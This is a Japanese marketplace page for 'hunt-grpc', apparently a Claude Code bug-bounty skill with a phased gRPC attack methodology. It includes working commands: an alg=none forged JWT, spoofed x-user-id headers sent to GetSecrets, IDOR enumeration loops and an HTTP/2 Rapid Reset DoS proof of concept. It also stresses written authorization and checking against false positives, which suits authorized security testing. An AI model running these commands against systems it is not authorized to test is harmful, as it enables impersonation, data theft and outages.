mcpField
H
hunt-grpc

hunt-grpc

github.com/elementalsoulsセキュリティ5.3k253 回インストール今日更新
リポジトリ

hunt-grpc について

hunt-grpc は、gRPC のサービス探索、認可境界のテスト、プロキシ変換ルートの確認を扱うセキュリティテスト向けスキルです。列挙の手掛かりと未認証アクセスの実証を区別し、DoS テストには事前の書面による許可を求めます。

主な機能

  1. 01gRPC サービスと公開ポートの特定
  2. 02リフレクションや Proto ファイルによる列挙
  3. 03メソッド認可と ID メタデータ信頼のテスト
  4. 04gRPC-Web と REST 変換ルートの検査
  5. 05ステータスコード検証と誤検知の排除

活用シーン

  1. 01内部 gRPC サービスの外部公開を監査
  2. 02プロキシが偽装可能な ID メタデータを転送するか確認
  3. 03変換ルートから未認証 RPC にアクセスできるか検査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-grpc

インストール後、Claude Code で/hunt-grpcを入力して読み込まれたか確認します。

詳細

HUNT-GRPC — gRPC セキュリティ

最重要ターゲット

gRPC リフレクションが有効になっていると、ソースコードなしでサービスカタログ全体を列挙できます。価値が最も高い gRPC の脆弱性は、サービスが「内部向け」であるという設計上の前提に起因します。認証はエッジプロキシで適用され、バックエンドは到達した呼び出し元をすべて信頼します。バックエンドに直接到達できると(公開ポート、SSRF、プロキシのバイパスなど)、その信頼関係は崩れます。

価値が最も高い発見事項:

  • 本番環境でリフレクションが有効 — grpc.reflection.v1alpha.ServerReflection/grpc.reflection.v1.ServerReflection は、すべてのメソッド、メッセージ、内部サービスを一覧表示します。脆弱性そのものではなく、列挙を可能にするものです(「検証」を参照)。
  • 内部サービスに認証がない — 東西方向のマイクロサービス通信向けに設計されたサービスが、mTLS もメソッドごとの認可もないまま外部に公開されている場合 → 特権メソッドを直接呼び出せます。
  • エッジ認証のみ/メタデータのストリッピング — プロキシはユーザーを認証しているものの、バックエンドがプロキシによって挿入されたヘッダー(x-user-id、x-tenant-id、x-forwarded-*)を再度信頼しています。バックエンドに到達できる場合や、プロキシ経由でそれらのヘッダーを注入できる場合、任意のテナントになりすませます。
  • 平文 gRPC — 標準外のポートで gRPC h2c(暗号化されていない HTTP/2)が使われている場合 → 認証情報/メタデータを傍受できます。
  • HTTP/2 Rapid Reset DoS(CVE-2023-44487) — HEADERS フレームと直後の RST_STREAM フレームを交互に送信し、MAX_CONCURRENT_STREAMS のカウントを回避します → リソース枯渇につながります。DoS を対象範囲に含めているプログラムはほぼありません。送信する前に、明示的な書面による許可を得てください。

フェーズ 1 — フィンガープリント取得とポート探索

# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open

# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"

# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
curl -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
  -H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status

# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
curl -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
  -H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"

grpc-status トレーラーが存在する場合、そのポートの背後に gRPC サーバー(または grpc-gateway/Envoy)があることを示します。ランダムなパスに対する UNIMPLEMENTED は通常の動作であり、トランスポートを確認するだけで、発見事項にはなりません。


フェーズ 2 — リフレクションによるサービス列挙

brew install grpcurl   # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
grpcurl -plaintext $TARGET:50051 list
grpcurl -insecure  $TARGET:443   list

# Typical output when reflection is on:
#   grpc.reflection.v1.ServerReflection
#   grpc.health.v1.Health
#   user.UserService
#   admin.AdminService
#   payment.PaymentService

# List + describe every method of each service
grpcurl -plaintext $TARGET:50051 list admin.AdminService
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest   # message schema

# Dump the whole catalog to triage interesting surfaces
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
  echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
done | tee grpc-catalog.txt
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt

**リフレクションが無効になっている場合でも、**メソッドを推測できれば既知のメソッドを呼び出せます。または、漏えいした .proto から(フェーズ 5)記述子セットを再構築し、grpcurl -protoset bundle.bin ... で渡すこともできます。リフレクションを無効にするのは堅牢化対策であり、セキュリティ境界ではありません。


フェーズ 3 — 認証なしでのメソッド呼び出し(認可テスト)

# Baseline: call a sensitive method with NO auth metadata
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers

# IDOR across an enumerable id field
for ID in 1 2 3 100 1000 1001; do
  echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
    -d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
done

バイト列が返ってきたかどうかだけでなく、gRPC ステータスコードを確認してください(「検証」を参照)。

  • OK + 値が設定されたレスポンス → 認証なしでメソッドが実行されました → 発見事項です。
  • Unauthenticated (16)/PermissionDenied (7) → 認可が適用されています。発見事項ではありません。
  • Unimplemented (12) → パスが間違っているか、このサーバーにメソッドがありません。
  • InvalidArgument (3) → リクエストが到達して解析されました → メソッドを呼び出せます。ペイロードを修正して再試行してください。

フェーズ 4 — 認証/信頼境界のバイパス

# (a) Forged bearer / alg=none JWT in the authorization metadata
grpcurl -plaintext $TARGET:50051 \
  -H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
  -d '{}' admin.AdminService/GetConfig

# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
#     then trust identity injected as metadata. If the edge does not STRIP these,
#     spoofing them = full impersonation. Test every plausible name:
for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
         "x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
         "x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
  echo "== $H =="
  grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
done

# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the
#     server; some auth middlewares only inspect text metadata, missing -bin keys.
grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
  -d '{}' admin.AdminService/GetConfig

メタデータのストリッピングに関するバグ(b)は、gRPC 固有の最重要ポイントです。なりすましヘッダーをバックエンドポートへ直接、さらに公開プロキシ経由でも送信して確認してください。プロキシが x-user-id を変更せずにバックエンドへ転送する場合、バイパスしたポートだけでなく、実際のユーザーにも悪用可能です。


フェーズ 5 — Proto ファイル/スキーマの発見

# Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger
for P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do
  S=$(curl -s -o /dev/null -w '%{http_code}' "https://$TARGET/$P")
  [ "$S" != 404 ] && echo "Found: /$P ($S)"
done

# Source/registry leakage of .proto definitions
gh search code --owner "$TARGET_ORG" 'syntax = "proto3"' --limit 20 2>/dev/null
gh search code --owner "$TARGET_ORG" 'service ' filename:.proto --limit 20 2>/dev/null

# Rebuild a descriptor set from leaked protos and drive the API without reflection
protoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto
grpcurl -protoset bundle.bin -plaintext $TARGET:50051 list

Proto の漏えいは、それ単独では深刻度が低いものです。その価値は、リフレクションが無効なターゲットに対してフェーズ 3~4 を実行する鍵になる点にあります。


フェーズ 6 — gRPC-Web/grpc-gateway/JSON トランスコーディング攻撃

gRPC はほぼ常に、トランスコーダーを介してブラウザーに接続されます。たとえば、Envoy grpc_web/grpc_json_transcoder、grpc-gateway(REST↔gRPC)、または Connect です。こうした変換レイヤーは、現実的な外部攻撃対象領域であり、内部メソッドを再公開していることもよくあります。

# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often
#     map predictably — hit them over plain HTTP/JSON (no gRPC client needed):
curl -s -X POST "https://$TARGET/v1/admin/users:list" -H 'content-type: application/json' -d '{}'
curl -s -X POST "https://$TARGET/admin.AdminService/ListUsers" \
  -H 'content-type: application/json' -d '{}'    # default unannotated route

# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.
#     Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.
#     Encode the message with protoscope so the bytes are correct:
#       protoscope -s <<<'1: 1'  > msg.bin          # field 1 (e.g. user_id) = 1
MSG=$(xxd -p msg.bin | tr -d '\n')
LEN=$(printf '%08x' $((${#MSG}/2)))                 # 4-byte length prefix
FRAME=$(printf '00%s%s' "$LEN" "$MSG")
echo "$FRAME" | xxd -r -p > frame.bin
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \
  --data-binary @frame.bin | xxd | head

# (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+json' -H 'x-grpc-web: 1' \
  -d '{"user_id": 1}'

# (d) Connect protocol (buf): plain JSON POST, unary, no framing:
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/json' -H 'connect-protocol-version: 1' \
  -d '{"user_id": 1}'

これが重要な理由:ブラウザー向けトランスコーダーは通常、内部 gRPC プレーンと同じバックエンドに転送します。トランスコーダーのルートが AdminService を公開している場合や、gRPC クライアントが送信するはずの認証を要求しない場合、実際に外部から到達可能な認可の脆弱性があります。トランスコードされた各ルートが機密データを含む OK を返すことを確認し、未認証ユーザーまたは低権限ユーザーとして到達できることを検証してください(メッシュ内部からしか到達できない場合は該当しません)。

フェーズ 7 — HTTP/2 Rapid Reset DoS(CVE-2023-44487)

認可の確認: ほとんどのプログラムでは、DoS はスコープ外です。プログラムの所有者から、対象と実施時間帯を明記した書面による明示的な許可を得ていない場合は、絶対に実行しないでください。不明な場合は、検証に進んでください。

この攻撃は負荷テストではありません。サーバーが処理を終える前にストリーム(HEADERS)を開いて即座にキャンセル(RST_STREAM)するため、キャンセルされた各ストリームによって MAX_CONCURRENT_STREAMS のスロットが即座に空く一方、サーバーはそのストリームの処理を続けます。そのため、クライアントは同時実行数の上限をはるかに超える速度でリクエストを送れます。h2load/ghz はスループットのベンチマークツールです。Rapid Reset モードはなく、HEADERS と即時 RST_STREAM を交互に送信することもないため、この攻撃をテストできません。

適切なツール — フレームのパターンを実際に生成する、作者公認の PoC:

# CERT/CC + community tracking and PoCs for CVE-2023-44487:
#   https://kb.cert.org/vuls/id/421644
#   https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/  (Cloudflare writeup)
# Go PoC that sends HEADERS then immediate RST_STREAM in a tight loop:
git clone https://github.com/secengjeff/rapidresetclient
cd rapidresetclient && go build -o rapidreset .
# Detection-only: a SHORT, low-count burst, with permission, then STOP:
./rapidreset --help    # confirm current flags first, then a SMALL authorized burst, e.g.:
# ./rapidreset -url https://$TARGET:443 -concurrency 1 -requests 20

# If you must roll your own, use the h2 framing layer (golang.org/x/net/http2)
# to write a HEADERS frame immediately followed by RST_STREAM(CANCEL) per stream id.

DoS を起こさない検出方法 — こちらを推奨します: 証明すべきなのは、緩和策が導入されているかどうかだけです。サーバーのバナー/バージョンと、RST の大量送信が追跡されているかを確認してください。

# Fingerprint the HTTP/2 implementation and version (patched versions are known):
curl -sI --http2 https://$TARGET/ | grep -i '^server:'
# nghttp2 >=1.57.0, Go net/http with the 2023-10 fix, Envoy >=1.27.1/1.26.5/1.25.10/1.24.11,
# grpc-go >=1.56.3/1.57.1/1.58.3 are mitigated. Version-match instead of flooding.

ベンチマーク時の性能低下ではなく、バージョンで確認できる緩和策の不備を報告してください。「負荷をかけるとサーバーの動作が遅くなった」ことは、CVE-2023-44487 の証明にはなりません。低速またはリソース不足のサーバーでは誤検知となり、RST を適切にスロットリングするパッチ適用済みのサーバーでは見逃しが発生します。


ツール

grpcurl   # primary CLI client (list/describe/call, -protoset for reflection-off)
grpcui    # web UI for interactive exploration:  grpcui -plaintext $TARGET:50051
protoc + protoscope   # build/inspect raw protobuf and gRPC-Web frames (Phase 6)
buf       # lint/inspect proto, drive Connect endpoints
# DoS-only, AUTHORIZED engagements: secengjeff/rapidresetclient (true rapid-reset PoC).
#   NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not
#   use them to "prove" CVE-2023-44487.

チェーンテーブル

gRPC の発見事項チェーン先影響
Reflection が有効内部サービスのすべてのメソッドとメッセージを列挙するAPI カタログ全体の漏えい(足掛かり)
認証のない管理者用メソッド特権付き RPC(DeleteUser、GetConfig)を呼び出すデータ操作/システムアクセス — 重大
プロキシが x-user-id/x-tenant-id を削除せずに転送するID メタデータを偽装 → テナントをまたいだなりすましテナント分離の回避 — 重大
列挙可能な ID フィールドを介した IDORGetUser に対して user_id を順に試す大量の個人情報の窃取 — 高
grpc-gateway/gRPC-Web のルートによって内部 RPC が再公開されている認証なしでトランスコードされた REST/JSON パスにアクセスする外部から到達可能な認可回避 — 高/重大
内部ポートで平文 h2c を使用MITM/メタデータ(ベアラートークン)の盗聴認証情報の窃取 — 高
.proto の漏えい(リポジトリ/swagger)-protoset を使い、Reflection が無効な対象を操作するフェーズ 3〜4 を可能にする — 単独では低、足掛かりとしては高

関連スキル:hunt-idor(ID 列挙のロジック)、hunt-api-misconfig(JWT の alg=none/リクエストメッセージの Mass Assignment)、hunt-auth-bypass(エッジとバックエンドの信頼境界)、hunt-tls-network(h2c/平文 + ALPN)、cloud-iam-deep(呼び出した RPC がクラウド認証情報を返す場合)。

検証 — 誤検知を防ぐ

gRPC の失敗は、単純な grep では成功のように見えることがあります。報告を提出する前に、以下の条件を確認してください。

  1. バイト数ではなくステータスコードで判別する。 空でないレスポンスでも、エラーフレームの場合があります。grpc-status トレーラーが 0(OK)であることを確認してください。Unauthenticated (16)/PermissionDenied (7) は認証が機能していることを意味します。この候補は対象外にしてください。Unimplemented (12) はメソッドが間違っていることを意味します。grpcurl -v で再実行し、トレーラーを明示的に確認してください。

  2. リフレクション/ヘルスチェックのエンドポイントは、意図的に公開されていることがよくあります。 grpc.reflection.* や grpc.health.v1.Health にアクセスできるというだけでは、**情報漏えい(最大でも低/中程度)**です。多くのベンダーは、設計上リフレクションを有効にしています。非公開のサービスカタログが漏えいしていない限り、「認証なし」として報告しないでください。問題となるのは、第 3 フェーズで認証なしに呼び出せることを実証した、機微なサービスです。

  3. 「認証がない」と「このメソッドに認証が不要」を区別する。 ヘルスチェックや公開カタログの読み取りなど、一部のメソッドは正当に匿名で利用できます。同じ RPC が認証情報なしで別のユーザー/テナントの非公開データを返す、または変更を伴う管理者 RPC が実行されることを示し、認証ありと認証なしでの状態の差分を実証して脆弱性を証明してください(副作用を確認するため、変更後の状態を再読み込みしてください)。

  4. プロキシ経由とバックエンドへの直接アクセスを区別する。 SSRF/ポートスキャンで見つけた内部 :50051 への接続でのみ悪用できる問題も実在しますが、深刻度は到達可能性によって異なります。外部の攻撃者がどのように到達するか(公開ポート、SSRF のアウトバウンド通信、プロキシのパススルー)を明記してください。メタデータ偽装については、バイパスしたバックエンドのポートだけでなく、公開プロキシが偽装されたヘッダーを転送することを実証してください。

  5. ブラインドな動作には OOB/Collaborator を使用する。 RPC が URL/ホスト引数を受け取る場合(Webhook、インポート、レンダリング)は、SSRF の候補です。一意なサブドメインを含む Burp Collaborator ペイロードを指定し、SSRF を主張する前に DNS と HTTP の通信を確認してください。通信がなければ、SSRF ではありません。hunt-ssrf に引き継いでください。

  6. DoS は認可が必要で、バージョンで検証可能でなければなりません。 ベンチマークで「遅くなった」というだけで CVE-2023-44487 を報告してはいけません。(a)server: バナーで未パッチの HTTP/2 スタックとバージョンが一致することを確認するか、(b)合意済みの実施時間帯に、明示的な書面での許可を得た場合に限りリセットフラッドを実証し、その後すぐに停止してください。レスポンスが遅いことは証拠になりません。

深刻度の目安(上記の条件を通過した場合):

  • 認証なしで呼び出せる機微な管理者 RPCで、副作用を実証 → Critical
  • プロキシ経由で転送されるメタデータの偽装による、テナント間のなりすまし → Critical
  • 列挙可能な RPC による IDOR/PII の大量漏えい → High
  • 内部サービスに外部から到達可能(トランスコーダーまたは開放ポート) → High
  • 平文の h2c によるベアラーメタデータの漏えい → High
  • 非公開のカタログを公開するリフレクションの有効化 → Medium(悪用の足掛かり)
  • 呼び出し可能な機微なメソッドがない状態での Proto/ディスクリプターの漏えい → Low

コメント